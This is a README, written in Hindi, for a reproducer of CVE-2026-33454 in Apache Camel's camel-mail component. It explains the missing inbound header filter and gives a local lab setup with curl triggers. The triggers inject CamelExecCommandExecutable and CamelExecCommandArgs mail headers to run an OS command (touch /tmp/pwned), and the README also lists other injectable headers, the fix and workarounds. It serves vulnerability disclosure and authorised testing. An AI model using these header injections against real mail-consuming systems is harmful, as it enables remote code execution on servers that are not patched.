
CVE-2026-33454 के लिए पुनरुत्पादक: Apache Camel camel-mail हेडर इंजेक्शन से camel-exec के माध्यम से RCE
यह प्रोजेक्ट Apache Camel के camel-mail घटक में Camel संदेश हैडर इंजेक्शन भेद्यता को प्रदर्शित करता है, जिसे CVE-2026-33454 के रूप में ट्रैक किया गया है। एक हमलावर जो Camel मेल उपभोक्ता द्वारा निगरानी किए गए मेलबॉक्स में ईमेल डिलीवर कर सकता है, वह एक्सचेंज में Camel* नियंत्रण हैडर इंजेक्ट कर सकता है, जिससे जब रूट किसी हैडर-संवेदनशील उत्पादक जैसे camel-exec पर अग्रेषित होता है, तो दूरस्थ कोड निष्पादन प्राप्त होता है।
Advisory: https://camel.apache.org/security/CVE-2026-33454.html
| गुण | मान |
|---|
| घटक | camel-mail |
| प्रभावित वर्ग | org.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail) |
| मूल कारण | फ़िल्टर रणनीति केवल OUT दिशा (setOutFilterStartsWith) कॉन्फ़िगर करती है और IN दिशा नहीं, इसलिए इनबाउंड MIME हैडर फ़िल्टर नहीं होते हैं |
| CWE | CWE-20: अनुचित इनपुट सत्यापन (Camel संदेश हैडर इंजेक्शन) |
| प्रभाव | दूरस्थ कोड निष्पादन (हैडर-संवेदनशील उत्पादकों के माध्यम से, जैसे camel-exec) |
| प्रभावित संस्करण | 3.0.0 से 4.14.6 से पहले, और 4.15.0 से 4.18.1 से पहले तक |
| निश्चित संस्करण | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| रिपोर्टर | Hyunwoo Kim (@v4bel) |
MailHeaderFilterStrategy DefaultHeaderFilterStrategy का विस्तार करता है। प्रभावित संस्करणों में इसका कंस्ट्रक्टर केवल आउट फ़िल्टर कॉन्फ़िगर करता है और कभी इन फ़िल्टर सेट नहीं करता है:
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // OUT only
// no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}
जब Camel मेल का उपभोग करता है (जैसे from("imap://...") या from("pop3://...")), MailBinding.extractHeadersFromMail() प्रत्येक MIME हैडर को एक्सचेंज इन हैडर में कॉपी करता है, जो headerFilterStrategy.applyFilterToExternalHeaders(...) द्वारा नियंत्रित होता है। चूंकि इन फ़िल्टर कभी कॉन्फ़िगर नहीं किया गया था, Camel*-उपसर्ग वाले MIME हैडर सीधे पास हो जाते हैं:
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
इसलिए एक हमलावर जो निगरानी किए गए मेलबॉक्स को ईमेल कर सकता है, वह मनमाना Camel* नियंत्रण हैडर सेट कर सकता है। जब रूट किसी हैडर-संवेदनशील उत्पादक जैसे camel-exec पर अग्रेषित होता है, तो CamelExecCommandExecutable / CamelExecCommandArgs हैडर कमांड को ओवरराइड कर देते हैं (प्रभावित संस्करणों में डिफ़ॉल्ट रूप से सम्मानित) → मनमाना OS कमांड निष्पादन।
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class);
एक GreenMail कंटेनर एकल मेलबॉक्स के साथ SMTP (3025) और IMAP (3143) प्रदान करता है (लॉगिन victim, पासवर्ड secret, पता victim@localhost):
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
mvn clean package -DskipTests
mvn spring-boot:run
IMAP पीड़ित रूट और 8080 पर एक सहायक REST नियंत्रक प्रारंभ करता है।
curl http://localhost:8080/exploit/normal
उपभोक्ता इसे उठाता है और echo hello चलाता है।
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
यह एक ईमेल वितरित करता है जिसके MIME हैडर शामिल हैं:
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned
यदि /tmp/pwned मौजूद है, तो इंजेक्ट किया गया MIME हैडर exec कमांड को ओवरराइड कर देता है → RCE।
docker compose down # or: docker rm -f greenmail-cve
इंजेक्शन के लिए केवल डाउनस्ट्रीम एक हैडर-संवेदनशील उत्पादक की आवश्यकता है। सलाहकार नोट करता है camel-bean, camel-exec और camel-sql; अधिक व्यापक रूप से:
CamelExecCommandExecutable / CamelExecCommandArgs → OS कमांड निष्पादनCamelFileName → मनमाना फ़ाइल लेखन / पथ ट्रैवर्सलCamelBeanMethodName → एक अलग विधि लागू करेंimap://, imaps://, pop3://, ...)।removeHeaders("Camel*") नहीं है।हमलावर को केवल निगरानी किए गए मेलबॉक्स पर एक ईमेल भेजने में सक्षम होना चाहिए।
फिक्स (CAMEL-23222) इनबाउंड फ़िल्टर को भी कॉन्फ़िगर करता है:
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // now the inbound direction is filtered too
}
अपग्रेड करने तक:
from("imap:...") के तुरंत बाद .removeHeaders("Camel*")।CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── MailExecRoute.java # the vulnerable victim route (imap -> exec)
│ └── ExploitController.java # attacker: delivers the malicious email via SMTP
└── resources/
└── application.properties
यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और स्थिर भेद्यता के लिए। बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध इसका उपयोग न करें।